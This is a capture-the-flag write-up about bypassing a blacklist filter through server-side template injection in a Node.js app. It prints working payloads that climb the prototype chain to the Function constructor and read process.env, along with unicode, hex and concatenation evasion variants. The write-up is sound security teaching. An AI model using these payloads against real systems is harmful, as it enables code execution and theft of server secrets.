Skip to main content
BunaByte Logo

Recognition Roulette — SSTI Filter Bypass Writeup

Recognition Roulette — SSTI Filter Bypass Writeup
Yoseph Mekonen

Yoseph Mekonen, Lead Red Teamer | 2026-07-28 | 5 min read

Challenge Overview

Recognition Roulette is a 400-point web security challenge from the Buna Byte CTF public challenges. BinaryCorp's employee recognition portal is protected by a blacklist filter. The goal: bypass the filter, access the prototype chain, and extract the flag from the server environment.

Overview of the challenge websiteOverview of the challenge website

Initial Reconnaissance

The challenge looks like it could be either stored XSS or Server-Side Template Injection (SSTI). The first step is to identify which one we're dealing with.

The classic SSTI detection method is to inject a math expression inside template delimiters and see if the server evaluates it.

Testing for SSTI

Trying the standard Jinja2/Nunjucks test:

Shell
{{7*7}}

Trying the standard Jinja2/Nunjucks testTrying the standard Jinja2/Nunjucks test

The input gets processed, confirming SSTI is in play. But the application has a blacklist filter that blocks many common template syntaxes:

  • ${7*7}Blocked
  • <%=7*7%>Blocked
  • [[7*7]]Blocked
  • {%if true%}Blocked

Hint from the serverHint from the server

Finding the Hint

When you inspect the source code of the main page, there's a hidden hint. Checking the URL reveals a hint page with two critical pieces of information:

  1. "Extract the flag from server environment (CTF_FLAG)"
  2. "The filter checks strings before they're executed. Think about JavaScript operations that happen at runtime."

This tells us the backend is running Node.js with a JavaScript-based template engine, and the filter is a static string check — meaning we need to construct our payload in a way that only resolves at runtime.

Bypass Techniques

Since the filter performs static string matching before execution, we need operations that assemble dangerous strings at runtime. Three common bypass techniques for this scenario:

  • Unicode Escape Sequences — represent characters as \uXXXX
  • Hex Encoding — represent characters in hex notation
  • String Concatenation — build blocked keywords from fragments

Understanding the Prototype Chain

In JavaScript, every object has a constructor property that points to the function that created it. This gives us a path from any innocent value up to the Function constructor, which can execute arbitrary code.

Here's the chain:

  1. '' — an empty string (completely harmless to the filter)
  2. ''.constructor — gives us the String constructor
  3. ''.constructor.constructor — gives us the Function constructor (the brain of Node.js)

With the Function constructor, we can create and execute any code we want.

The Payload

Shell
{{''.constructor.constructor('return process')().env.CTF_FLAG}}

Breaking It Down Step by Step

payload-breakdown.js
// Step 1: Start with an innocent empty string
''
 
// Step 2: Access the String constructor (who created this string?)
''.constructor  // → [Function: String]
 
// Step 3: Access the Function constructor (who created String?)
''.constructor.constructor  // → [Function: Function]
 
// Step 4: Create a function that returns the process object
''.constructor.constructor('return process')  // → function() { return process }
 
// Step 5: Execute that function to get the process object
''.constructor.constructor('return process')()  // → process
 
// Step 6: Access the environment variables and grab the flag
''.constructor.constructor('return process')().env.CTF_FLAG  // → flag!

The filter never sees keywords like process, env, or require in the raw input because they only exist as a string argument to the Function constructor — they're evaluated at runtime, after the filter has already approved the input.

Why This Works

The blacklist filter scans the template string for dangerous patterns before it gets executed. But our payload is sneaky:

  • '' is just an empty string — nothing dangerous
  • .constructor is a property access — the filter doesn't block it
  • 'return process' is just a string literal being passed as an argument
  • The actual dangerous operation (accessing process.env) only happens when the constructed function executes

The filter checks strings before they're executed, but JavaScript's prototype chain lets us build code that only becomes dangerous at execution time.

Alternative Approaches

If the basic constructor chain doesn't work, try combining it with the bypass techniques:

Unicode Escape Sequences

Shell
{{''.constructor.constructor('return pro\u0063ess')().env.CTF_FLAG}}

String Concatenation

Shell
{{''.constructor.constructor('return pro'+'cess')().env.CTF_FLAG}}

Hex Encoding

Shell
{{''.constructor.constructor('return proc\x65ss')().env.CTF_FLAG}}

successfully captured the flagsuccessfully captured the flag

Key Takeaways

  • Always test for SSTI when user input appears to be reflected or processed server-side
  • Blacklist filters that check input statically can be bypassed by runtime operations
  • JavaScript's prototype chain provides a reliable path from any object to code execution
  • The constructor.constructor pattern is a fundamental SSTI bypass for Node.js template engines
  • When one delimiter syntax is blocked, try others — the engine may support multiple formats

[!WARNING] This writeup is for educational purposes. Only test these techniques on systems you own or have explicit authorization to test. Unauthorized access to computer systems is illegal.

Continue Reading

Web Exploitation Basics
Lectures & WebinarsWeb Exploitation Basics

Learn the fundamentals of web exploitation — from SQL injection to cross-site scripting — and how to identify common vulnerabilities in CTF challenges.

2025-02-1010 min read
Introduction to CTF Challenges
BlogIntroduction to CTF Challenges

A beginner's guide to Capture The Flag competitions — what they are, how they work, and how to get started.

2025-01-158 min read